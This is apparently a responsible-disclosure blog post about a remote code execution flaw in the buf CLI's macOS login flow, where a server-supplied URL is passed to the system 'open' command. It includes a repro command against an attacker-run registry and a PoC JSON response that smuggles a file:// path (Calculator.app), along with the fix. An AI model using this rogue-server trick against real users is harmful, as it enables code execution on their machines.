Skip to main content
  1. posts/

RCE in buf CLI (from http://buf.build)

Overview #

A vulnerability in the buf (from https://buf.build/) CLI allows an attacker-controlled registry server to execute code on the client machine simply by attempting to log in.

Repro:

buf registry login buf.hack.do

Video link: YouTube PoC (unlisted)

Description #

This abuses the registry login flow: https://buf.build/docs/reference/cli/buf/registry/login/

The issue starts here: https://github.com/bufbuild/buf/blob/4d05f30e35c0fbee2c384878b55d6adac4477fb6/private/buf/cmd/buf/command/registry/registrylogin/registrylogin.go#L313

Which calls:

browser.OpenURL(deviceAuthorization.VerificationURIComplete)

This line uses: https://github.com/pkg/browser/blob/master/browser_darwin.go

Which, on macOS, defers to the system open command:

func openBrowser(url string) error {
	return runCmd("open", url)
}

The macOS open command opens a file, directory, or URL using the default handler. This means if the registry returns a path (e.g. file://...) instead of an http[s]:// URL, the client will attempt to open it.

PoC #

The PoC server is running: https://gist.github.com/matt-/6f20d07cf714236113d6ffbbed047d57

For the PoC, the registry returns:

{
  "device_code": "asdf",
  "user_code": "asfd",
  "expires_in": 900,
  "interval": 5,
  "verification_uri": "file:///System/Applications/Calculator.app",
  "verification_uri_complete": "file:///System/Applications/Calculator.app"
}

This uses a path to Calculator to demonstrate code execution on macOS.

Remediation #

The pkg/browser package supports opening local files by design, but in this context the client should only open a web URL. A simple validation (e.g. require the verification URL to begin with http:// or https://) is sufficient to prevent file:// and other unexpected schemes.

The fix #

Fixed upstream: https://github.com/bufbuild/buf/commit/6f65ecdc32e49f0f78083d3e0750a91735b135f1